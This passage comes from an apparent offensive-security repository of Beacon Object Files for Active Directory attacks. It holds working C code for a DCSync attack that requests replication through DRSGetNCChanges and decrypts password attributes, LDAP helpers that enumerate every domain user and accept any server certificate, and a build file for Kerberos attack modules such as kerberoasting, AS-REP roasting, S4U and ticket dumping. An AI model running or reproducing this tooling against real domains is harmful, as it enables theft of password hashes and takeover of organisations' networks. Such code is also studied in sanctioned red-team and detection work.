&outVersion,\n        &reply\n    );\n    \n    if (result != 0) {\n        ERROR_PRINT( \"[-] DRSGetNCChanges failed: 0x%x (%u)\", result, result);\n        goto cleanup;\n    }\n    \n    // Process the reply based on version - access correct union member\n    REPLENTINFLIST* objects = NULL;\n\n    switch (outVersion) {\n        case 1:\n            objects = reply.V1.pObjects;\n            break;\n        case 6:\n        case 7:\n        case 9:\n            objects = reply.V6.pObjects;  // V6 structure\n            break;\n        default:\n            ERROR_PRINT( \"[!] Unexpected reply version: %u\", outVersion);\n            goto cleanup;\n    }\n    \n    if (objects) {\n        ENTINF* entinf = &objects->Entinf;\n        ATTRBLOCK* attrBlock = &entinf->AttrBlock;\n        \n        for (ULONG i = 0; i < attrBlock->attrCount; i++) {\n            ATTR* attr = &attrBlock->pAttr[i];\n            if (attr->attrTyp == ATT_UNICODE_PWD && attr->AttrVal.valCount > 0) {\n                DWORD valLen = attr->AttrVal.pAVal[0].valLen;\n                if (valLen == 36 || valLen == 40) {\n                    break;\n                }\n            }\n        }\n    }\n\n    // Process and decrypt credentials\n    ProcessCredentials(objects, userInfo->samAccountName, userInfo->distinguishedName, dcHostname, sessionKey, sessionKeyLen, onlyNT);\n    \n    \ncleanup:\n    // Cleanup\n    if (drsHandle) IDL_DRSUnbind(&drsHandle);\n    if (rpcBinding) RPCRT4$RpcBindingFree(&rpcBinding);\n    if (pPartialAttrSet) MSVCRT$free(pPartialAttrSet);\n    \n    // Cleanup session key\n    if (sessionKey) {\n        MSVCRT$free(sessionKey);\n        sessionKey = NULL;\n    }\n\n    // Free all OID copies\n    for (DWORD i = 0; i < oidCopyCount; i++) {\n        if (oidCopies[i]) MSVCRT$free(oidCopies[i]);\n    }\n    \n    if (prefixEntries) MSVCRT$free(prefixEntries);\n    if (targetDsname) MSVCRT$free(targetDsname);\n    FreeUserInfo(userInfo);\n    FreeDCContext(dcContext);\n    if (dcHostname) MSVCRT$free(dcHostname);\n}"
  },
  {
    "path": "AD-BOF/DCSync-BOF/util/ldap_common.c",
    "content": "#include <windows.h>\n#include \"../_include/ldap_common.h\"\n\n// Import required MSVCRT functions\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* str1, const char* str2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strncmp(const char* str1, const char* str2, size_t count);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char* dest, const char* src);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char* dest, const char* src);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strchr(const char *str, int c);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strstr(const char* str, const char* substr);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char* buffer, size_t count, const char* format, ...);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* dest, const void* src, size_t count);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\n\n// Import kernel32 functions\nDECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);\nDECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar);\n\n#define CP_UTF8 65001\n#define CP_ACP 0\n\n// SSL certificate callback - accepts all certificates\nBOOLEAN ServerCertCallback(PLDAP Connection, PCCERT_CONTEXT pServerCert) {\n    return TRUE;\n}\n\n// Convert char* to wchar_t*\nwchar_t* CharToWChar(const char* str) {\n    if (!str) return NULL;\n    \n    int len = KERNEL32$MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);\n    if (len == 0) return NULL;\n    \n    wchar_t* wstr = (wchar_t*)MSVCRT$malloc(len * sizeof(wchar_t));\n    if (!wstr) return NULL;\n    \n    KERNEL32$MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);\n    return wstr;\n}\n\n// Simple helper that returns NULL if input doesn't have length\nchar* ValidateInput(char* input) {\n    if (input == NULL)\n        return NULL;\n    \n    // Return NULL for empty strings, otherwise return the input\n    if (MSVCRT$strlen(input) == 0)\n        return NULL;\n\n    return input;\n}\n\n// Initialize LDAP connection with proper authentication\nLDAP* InitializeLDAPConnection(const char* dcAddress, BOOL useLdaps, char** outDcHostname) {\n    LDAP* pLdapConnection = NULL;\n    ULONG result;\n    int portNumber = useLdaps ? LDAP_SSL_PORT : LDAP_PORT;\n    char* discoveredDC = NULL;\n    char* targetDC = NULL;\n\n    // If no DC address provided, auto-discover it\n    if (!dcAddress || MSVCRT$strlen(dcAddress) == 0) {\n        // Inline GetDCHostName logic\n        PDOMAIN_CONTROLLER_INFOA pdcInfo = NULL;\n        DWORD dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);\n        \n        if (dwRet == 0 && pdcInfo) {\n            char* dcName = pdcInfo->DomainControllerName;\n            if (dcName && dcName[0] == '\\\\' && dcName[1] == '\\\\') {\n                dcName += 2;\n            }\n            if (dcName) {\n                size_t len = MSVCRT$strlen(dcName) + 1;\n                discoveredDC = (char*)MSVCRT$malloc(len);\n                if (discoveredDC) {\n                    MSVCRT$strcpy(discoveredDC, dcName);\n                }\n            }\n            NETAPI32$NetApiBufferFree(pdcInfo);\n        }\n        \n        if (!discoveredDC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to discover DC\");\n            return NULL;\n        }\n        targetDC = discoveredDC;\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Discovered DC: %s\", targetDC);\n    } else {\n        targetDC = (char*)dcAddress;\n    }\n\n    // Store hostname for later use\n    if (outDcHostname) {\n        size_t len = MSVCRT$strlen(targetDC) + 1;\n        *outDcHostname = (char*)MSVCRT$malloc(len);\n        if (*outDcHostname) {\n            MSVCRT$strcpy(*outDcHostname, targetDC);\n        }\n    }\n\n    // Use ldap_init with hostname (ANSI version)\n    pLdapConnection = WLDAP32$ldap_init(targetDC, portNumber);\n    if (!pLdapConnection) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection on port %d\", portNumber);\n        if (discoveredDC) MSVCRT$free(discoveredDC);\n        return NULL;\n    }\n\n    // Set LDAP version to 3\n    ULONG version = LDAP_VERSION3;\n    result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_VERSION, (void*)&version);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set LDAP version: %lu\", result);\n        WLDAP32$ldap_unbind_s(pLdapConnection);\n        if (discoveredDC) MSVCRT$free(discoveredDC);\n        return NULL;\n    }\n\n    if (useLdaps) {\n        // For LDAPS (port 636), enable SSL\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_SSL, LDAP_OPT_ON);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to enable SSL: %lu\", result);\n            WLDAP32$ldap_unbind_s(pLdapConnection);\n            if (discoveredDC) MSVCRT$free(discoveredDC);\n            return NULL;\n        }\n\n        // Set certificate callback\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_SERVER_CERTIFICATE, (void*)&ServerCertCallback);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set certificate callback: %lu\", result);\n        }\n    } else {\n        // For regular LDAP (port 389), enable signing and sealing\n        // These need to be set BEFORE binding with NEGOTIATE auth\n        void* value = LDAP_OPT_ON;\n        \n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_SIGN, &value);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Warning: Failed to enable LDAP signing: %lu\", result);\n        }\n\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_ENCRYPT, &value);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Warning: Failed to enable LDAP encryption: %lu\", result);\n        }\n    }\n\n    // Bind using current credentials (NEGOTIATE)\n    result = WLDAP32$ldap_bind_s(pLdapConnection, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n    \n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to bind to LDAP (0x%x)\", result);\n        WLDAP32$ldap_unbind_s(pLdapConnection);\n        if (discoveredDC) MSVCRT$free(discoveredDC);\n        return NULL;\n    }\n\n    // Free discovered DC hostname if we allocated it\n    if (discoveredDC) {\n        MSVCRT$free(discoveredDC);\n    }\n    \n    return pLdapConnection;\n}\n\n// Get DC context (defaultNamingContext and DC GUID)\n// Returns allocated DC_CONTEXT structure, caller must free defaultNamingContext and struct\nDC_CONTEXT* GetDCContext(LDAP* ld, const char* dcHostname) {\n    if (!ld) return NULL;\n    \n    DC_CONTEXT* context = (DC_CONTEXT*)MSVCRT$malloc(sizeof(DC_CONTEXT));\n    if (!context) return NULL;\n    MSVCRT$memset(context, 0, sizeof(DC_CONTEXT));\n    \n    // Try to build defaultNamingContext from DC hostname first (faster, no network query)\n    if (dcHostname && MSVCRT$strlen(dcHostname) > 0) {\n        const char* domainStart = MSVCRT$strchr(dcHostname, '.');\n        if (domainStart && *(domainStart + 1) != '\\0') {\n            domainStart++;\n            \n            int dotCount = 0;\n            const char* p = domainStart;\n            while (*p) {\n                if (*p == '.') dotCount++;\n                p++;\n            }\n            \n            size_t domainLen = MSVCRT$strlen(domainStart);\n            size_t bufferSize = domainLen + (dotCount + 1) * 3 + dotCount + 1;\n            \n            context->defaultNamingContext = (char*)MSVCRT$malloc(bufferSize);\n            if (context->defaultNamingContext) {\n                char* writePos = context->defaultNamingContext;\n                const char* readPos = domainStart;\n                BOOL firstComponent = TRUE;\n                \n                while (*readPos) {\n                    if (!firstComponent) {\n                        *writePos++ = ',';\n                    }\n                    firstComponent = FALSE;\n                    \n                    *writePos++ = 'D';\n                    *writePos++ = 'C';\n                    *writePos++ = '=';\n                    \n                    while (*readPos && *readPos != '.') {\n                        *writePos++ = *readPos++;\n                    }\n                    \n                    if (*readPos == '.') readPos++;\n                }\n                \n                *writePos = '\\0';\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Default naming context: %s\", context->defaultNamingContext);\n            }\n        }\n    }\n    \n    // Query rootDSE for both defaultNamingContext (if not built) and dsServiceName in one query\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char* attrs[] = { \"defaultNamingContext\", \"dsServiceName\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        \"\",\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query rootDSE\");\n        if (context->defaultNamingContext) MSVCRT$free(context->defaultNamingContext);\n        MSVCRT$free(context);\n        return NULL;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        WLDAP32$ldap_msgfree(searchResult);\n        if (context->defaultNamingContext) MSVCRT$free(context->defaultNamingContext);\n        MSVCRT$free(context);\n        return NULL;\n    }\n\n    // Get defaultNamingContext if we didn't build it from hostname\n    if (!context->defaultNamingContext) {\n        char** ncValues = WLDAP32$ldap_get_values(ld, entry, \"defaultNamingContext\");\n        if (ncValues && ncValues[0]) {\n            size_t len = MSVCRT$strlen(ncValues[0]) + 1;\n            context->defaultNamingContext = (char*)MSVCRT$malloc(len);\n            if (context->defaultNamingContext) {\n                MSVCRT$strcpy(context->defaultNamingContext, ncValues[0]);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Default naming context: %s\", context->defaultNamingContext);\n            }\n            WLDAP32$ldap_value_free(ncValues);\n        }\n    }\n\n    // Get dsServiceName and then query for its objectGUID\n    char** dsValues = WLDAP32$ldap_get_values(ld, entry, \"dsServiceName\");\n    if (dsValues && dsValues[0]) {\n        char* dsServiceDN = dsValues[0];\n        char* guidAttrs[] = { \"objectGUID\", NULL };\n        LDAPMessage* guidResult = NULL;\n        \n        result = WLDAP32$ldap_search_s(\n            ld,\n            dsServiceDN,\n            LDAP_SCOPE_BASE,\n            \"(objectClass=*)\",\n            guidAttrs,\n            0,\n            &guidResult\n        );\n        \n        if (result == LDAP_SUCCESS) {\n            LDAPMessage* guidEntry = WLDAP32$ldap_first_entry(ld, guidResult);\n            if (guidEntry) {\n                struct berval** guidValues = WLDAP32$ldap_get_values_len(ld, guidEntry, \"objectGUID\");\n                if (guidValues && guidValues[0] && guidValues[0]->bv_len == sizeof(GUID)) {\n                    MSVCRT$memcpy(&context->dcObjectGuid, guidValues[0]->bv_val, sizeof(GUID));\n                    WLDAP32$ldap_value_free_len(guidValues);\n                }\n            }\n            WLDAP32$ldap_msgfree(guidResult);\n        }\n        \n        WLDAP32$ldap_value_free(dsValues);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n\n    // Validate we got required fields\n    if (!context->defaultNamingContext) {\n        MSVCRT$free(context);\n        return NULL;\n    }\n\n    return context;\n}\n\n// Free DC_CONTEXT structure\nvoid FreeDCContext(DC_CONTEXT* context) {\n    if (!context) return;\n    if (context->defaultNamingContext) MSVCRT$free(context->defaultNamingContext);\n    MSVCRT$free(context);\n}\n\n// Get all user info (DN, sAMAccountName, GUID) in a single LDAP query\n// Returns allocated USER_LDAP_INFO structure, caller must free strings and struct\n// Works with either sAMAccountName or DN as input\nUSER_LDAP_INFO* GetUserInfo(LDAP* ld, const char* identifier, const char* searchBase, BOOL isDN) {\n    if (!ld || !identifier) return NULL;\n\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char filter[512];\n    char* attrs[] = { \"distinguishedName\", \"sAMAccountName\", \"objectGUID\", NULL };\n    USER_LDAP_INFO* userInfo = NULL;\n    \n    // Build search filter and scope based on input type\n    ULONG result;\n    if (isDN) {\n        // DN provided - use base scope query (fastest)\n        result = WLDAP32$ldap_search_s(\n            ld,\n            (char*)identifier,\n            LDAP_SCOPE_BASE,\n            \"(objectClass=*)\",\n            attrs,\n            0,\n            &searchResult\n        );\n    } else {\n        // sAMAccountName provided - use subtree search\n        MSVCRT$_snprintf(filter, sizeof(filter), \"(sAMAccountName=%s)\", identifier);\n        result = WLDAP32$ldap_search_s(\n            ld,\n            (char*)searchBase,\n            LDAP_SCOPE_SUBTREE,\n            filter,\n            attrs,\n            0,\n            &searchResult\n        );\n    }\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query user '%s'\", identifier);\n        return NULL;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] User '%s' not found\", identifier);\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Allocate result structure\n    userInfo = (USER_LDAP_INFO*)MSVCRT$malloc(sizeof(USER_LDAP_INFO));\n    if (!userInfo) {\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n    MSVCRT$memset(userInfo, 0, sizeof(USER_LDAP_INFO));\n\n    // Get distinguishedName\n    char** dnValues = WLDAP32$ldap_get_values(ld, entry, \"distinguishedName\");\n    if (dnValues && dnValues[0]) {\n        size_t len = MSVCRT$strlen(dnValues[0]) + 1;\n        userInfo->distinguishedName = (char*)MSVCRT$malloc(len);\n        if (userInfo->distinguishedName) {\n            MSVCRT$strcpy(userInfo->distinguishedName, dnValues[0]);\n        }\n        WLDAP32$ldap_value_free(dnValues);\n    }\n\n    // Get sAMAccountName\n    char** samValues = WLDAP32$ldap_get_values(ld, entry, \"sAMAccountName\");\n    if (samValues && samValues[0]) {\n        size_t len = MSVCRT$strlen(samValues[0]) + 1;\n        userInfo->samAccountName = (char*)MSVCRT$malloc(len);\n        if (userInfo->samAccountName) {\n            MSVCRT$strcpy(userInfo->samAccountName, samValues[0]);\n        }\n        WLDAP32$ldap_value_free(samValues);\n    }\n\n    // Get objectGUID\n    struct berval** guidValues = WLDAP32$ldap_get_values_len(ld, entry, \"objectGUID\");\n    if (guidValues && guidValues[0] && guidValues[0]->bv_len == sizeof(GUID)) {\n        MSVCRT$memcpy(&userInfo->objectGuid, guidValues[0]->bv_val, sizeof(GUID));\n        WLDAP32$ldap_value_free_len(guidValues);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n\n    // Validate we got required fields\n    if (!userInfo->distinguishedName || !userInfo->samAccountName) {\n        if (userInfo->distinguishedName) MSVCRT$free(userInfo->distinguishedName);\n        if (userInfo->samAccountName) MSVCRT$free(userInfo->samAccountName);\n        MSVCRT$free(userInfo);\n        return NULL;\n    }\n\n    return userInfo;\n}\n\n// Free USER_LDAP_INFO structure\nvoid FreeUserInfo(USER_LDAP_INFO* userInfo) {\n    if (!userInfo) return;\n    if (userInfo->distinguishedName) MSVCRT$free(userInfo->distinguishedName);\n    if (userInfo->samAccountName) MSVCRT$free(userInfo->samAccountName);\n    MSVCRT$free(userInfo);\n}\n\n// Cleanup LDAP connection\nvoid CleanupLDAP(LDAP* ld) {\n    if (ld) {\n        WLDAP32$ldap_unbind_s(ld);\n    }\n}\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/util/ldap_syncall.c",
    "content": "// LDAP utilities for enumerating all users in DCSync-All BOF\n\n#include <windows.h>\n#include \"../_include/ldap_common.h\"\n\n// Import required MSVCRT functions (if not already imported)\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char* buffer, size_t count, const char* format, ...);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$realloc(void* ptr, size_t size);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* dest, const void* src, size_t count);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char* dest, const char* src);\n\n// Structure to hold user information\ntypedef struct _USER_INFO {\n    char* distinguishedName;\n    char* samAccountName;\n    GUID objectGuid;\n} USER_INFO;\n\n// Enumerate all user objects in the domain\n// Returns array of USER_INFO structures and sets userCount\n// Caller must free the array and strings within each structure\nUSER_INFO* EnumerateAllUsers(LDAP* ld, const char* searchBase, int* userCount, int onlyUsers) {\n    if (!ld || !searchBase || !userCount) return NULL;\n    \n    *userCount = 0;\n    \n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    // If onlyUsers=1, filter to SAM_USER_OBJECT (0x30000000) and SAM_TRUST_ACCOUNT (0x30000002) only\n    char* filter = onlyUsers ? \"(&(objectClass=user)(|(sAMAccountType=805306368)(sAMAccountType=805306370)))\" : \"(objectClass=user)\";\n    char* attrs[] = { \"distinguishedName\", \"sAMAccountName\", \"objectGUID\", NULL };\n    \n    // Search for all user objects\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        (char*)searchBase,\n        LDAP_SCOPE_SUBTREE,\n        filter,\n        attrs,\n        0,\n        &searchResult\n    );\n    \n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to enumerate users: 0x%x\", result);\n        return NULL;\n    }\n    \n    // Count entries\n    int count = WLDAP32$ldap_count_entries(ld, searchResult);\n    if (count <= 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No users found in domain\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n    \n    // Allocate array for user info\n    USER_INFO* users = (USER_INFO*)MSVCRT$malloc(count * sizeof(USER_INFO));\n    if (!users) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for user list\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n    MSVCRT$memset(users, 0, count * sizeof(USER_INFO));\n    \n    // Iterate through entries\n    int index = 0;\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    \n    while (entry && index < count) {\n        // Get distinguishedName\n        char** dnValues = WLDAP32$ldap_get_values(ld, entry, \"distinguishedName\");\n        if (dnValues && dnValues[0]) {\n            size_t len = MSVCRT$strlen(dnValues[0]) + 1;\n            users[index].distinguishedName = (char*)MSVCRT$malloc(len);\n            if (users[index].distinguishedName) {\n                MSVCRT$strcpy(users[index].distinguishedName, dnValues[0]);\n            }\n            WLDAP32$ldap_value_free(dnValues);\n        }\n        \n        // Get sAMAccountName\n        char** samValues = WLDAP32$ldap_get_values(ld, entry, \"sAMAccountName\");\n        if (samValues && samValues[0]) {\n            size_t len = MSVCRT$strlen(samValues[0]) + 1;\n            users[index].samAccountName = (char*)MSVCRT$malloc(len);\n            if (users[index].samAccountName) {\n                MSVCRT$strcpy(users[index].samAccountName, samValues[0]);\n            }\n            WLDAP32$ldap_value_free(samValues);\n        }\n        \n        // Get objectGUID\n        struct berval** guidValues = WLDAP32$ldap_get_values_len(ld, entry, \"objectGUID\");\n        if (guidValues && guidValues[0] && guidValues[0]->bv_len == sizeof(GUID)) {\n            MSVCRT$memcpy(&users[index].objectGuid, guidValues[0]->bv_val, sizeof(GUID));\n            WLDAP32$ldap_value_free_len(guidValues);\n        }\n        \n        // Only count users that have all required fields\n        if (users[index].distinguishedName && users[index].samAccountName) {\n            index++;\n        } else {\n            // Free incomplete entry\n            if (users[index].distinguishedName) MSVCRT$free(users[index].distinguishedName);\n            if (users[index].samAccountName) MSVCRT$free(users[index].samAccountName);\n            MSVCRT$memset(&users[index], 0, sizeof(USER_INFO));\n        }\n        \n        entry = WLDAP32$ldap_next_entry(ld, entry);\n    }\n    \n    WLDAP32$ldap_msgfree(searchResult);\n    \n    *userCount = index;\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully enumerated %d users\", index);\n    \n    return users;\n}\n\n// Free user info array\nvoid FreeUserInfoArray(USER_INFO* users, int userCount) {\n    if (!users) return;\n    \n    for (int i = 0; i < userCount; i++) {\n        if (users[i].distinguishedName) {\n            MSVCRT$free(users[i].distinguishedName);\n        }\n        if (users[i].samAccountName) {\n            MSVCRT$free(users[i].samAccountName);\n        }\n    }\n    \n    MSVCRT$free(users);\n}\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/util/rpc-adapter.c",
    "content": "//\n// RPC Stub Adapter for BOF Environment\n//\n// Provides the necessary functions for MIDL-generated RPC stubs\n// to work within a Beacon Object File context.\n//\n\n#include <windows.h>\n\n// Import MSVCRT functions for memory management\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\n\n// MIDL_user_allocate - Required by RPC runtime\n// Called by NDR marshalling code to allocate memory\nvoid* __RPC_USER MIDL_user_allocate(size_t size) {\n    return MSVCRT$malloc(size);\n}\n\n// MIDL_user_free - Required by RPC runtime\n// Called by NDR marshalling code to free memory\nvoid __RPC_USER MIDL_user_free(void* ptr) {\n    if (ptr) {\n        MSVCRT$free(ptr);\n    }\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories\ninclude_directories(\n    ${CMAKE_SOURCE_DIR}/_include\n    ${CMAKE_CURRENT_SOURCE_DIR}/_include\n    ${CMAKE_CURRENT_SOURCE_DIR}\n)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-incompatible-pointer-types -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Source files\nset(HASH_SOURCES hash/hash.c)\nset(KLIST_SOURCES klist/klist.c)\nset(DESCRIBE_SOURCES describe/describe.c)\nset(TGTDELEG_SOURCES tgtdeleg/tgtdeleg.c)\nset(PTT_SOURCES ptt/ptt.c)\nset(PURGE_SOURCES purge/purge.c)\nset(ASKTGT_SOURCES asktgt/asktgt.c)\nset(ASKTGS_SOURCES asktgs/asktgs.c)\nset(RENEW_SOURCES renew/renew.c)\nset(CHANGEPW_SOURCES changepw/changepw.c)\nset(ASREPROASTING_SOURCES asreproasting/asreproasting.c)\nset(KERBEROASTING_SOURCES kerberoasting/kerberoasting.c)\nset(S4U_SOURCES s4u/s4u.c)\nset(CROSS_S4U_SOURCES s4u/cross_s4u.c)\n\n# Object file targets\nadd_library(kerb_hash OBJECT ${HASH_SOURCES})\nadd_library(kerb_klist OBJECT ${KLIST_SOURCES})\nadd_library(kerb_triage OBJECT ${KLIST_SOURCES})\ntarget_compile_definitions(kerb_triage PRIVATE TRIAGE)\nadd_library(kerb_dump OBJECT ${KLIST_SOURCES})\ntarget_compile_definitions(kerb_dump PRIVATE DUMP)\nadd_library(kerb_describe OBJECT ${DESCRIBE_SOURCES})\nadd_library(kerb_tgtdeleg OBJECT ${TGTDELEG_SOURCES})\nadd_library(kerb_ptt OBJECT ${PTT_SOURCES})\nadd_library(kerb_purge OBJECT ${PURGE_SOURCES})\nadd_library(kerb_asktgt OBJECT ${ASKTGT_SOURCES})\nadd_library(kerb_asktgs OBJECT ${ASKTGS_SOURCES})\nadd_library(kerb_renew OBJECT ${RENEW_SOURCES})\nadd_library(kerb_changepw OBJECT ${CHANGEPW_SOURCES})\nadd_library(kerb_asreproasting OBJECT ${ASREPROASTING_SOURCES})\nadd_library(kerb_kerberoasting OBJECT ${KERBEROASTING_SOURCES})\nadd_library(kerb_s4u OBJECT ${S4U_SOURCES})\nadd_library(kerb_cross_s4u OBJECT ${CROSS_S4U_SOURCES})\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF)\n\n# Custom targets to copy object files to _bin\nadd_custom_target(copy_kerb_hash ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_hash> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/hash.x64.o\n    DEPENDS kerb_hash\n    COMMENT \"Copying hash object file\"\n)\n\nadd_custom_target(copy_kerb_klist ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_klist> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/klist.x64.o\n    DEPENDS kerb_klist\n    COMMENT \"Copying klist object file\"\n)\n\nadd_custom_target(copy_kerb_triage ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_triage> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/triage.x64.o\n    DEPENDS kerb_triage\n    COMMENT \"Copying triage object file\"\n)\n\nadd_custom_target(copy_kerb_dump ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_dump> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/dump.x64.o\n    DEPENDS kerb_dump\n    COMMENT \"Copying dump object file\"\n)\n\nadd_custom_target(copy_kerb_describe ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_describe> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/describe.x64.o\n    DEPENDS kerb_describe\n    COMMENT \"Copying describe object file\"\n)\n\nadd_custom_target(copy_kerb_tgtdeleg ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_tgtdeleg> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/tgtdeleg.x64.o\n    DEPENDS kerb_tgtdeleg\n    COMMENT \"Copying tgtdeleg object file\"\n)\n\nadd_custom_target(copy_kerb_ptt ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_ptt> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/ptt.x64.o\n    DEPENDS kerb_ptt\n    COMMENT \"Copying ptt object file\"\n)\n\nadd_custom_target(copy_kerb_purge ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_purge> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/purge.x64.o\n    DEPENDS kerb_purge\n    COMMENT \"Copying purge object file\"\n)\n\nadd_custom_target(copy_kerb_asktgt ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_asktgt> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/asktgt.x64.o\n    DEPENDS kerb_asktgt\n    COMMENT \"Copying asktgt object file\"\n)\n\nadd_custom_target(copy_kerb_asktgs ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_asktgs> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/asktgs.x64.o\n    DEPENDS kerb_asktgs\n    COMMENT \"Copying asktgs object file\"\n)\n\nadd_custom_target(copy_kerb_renew 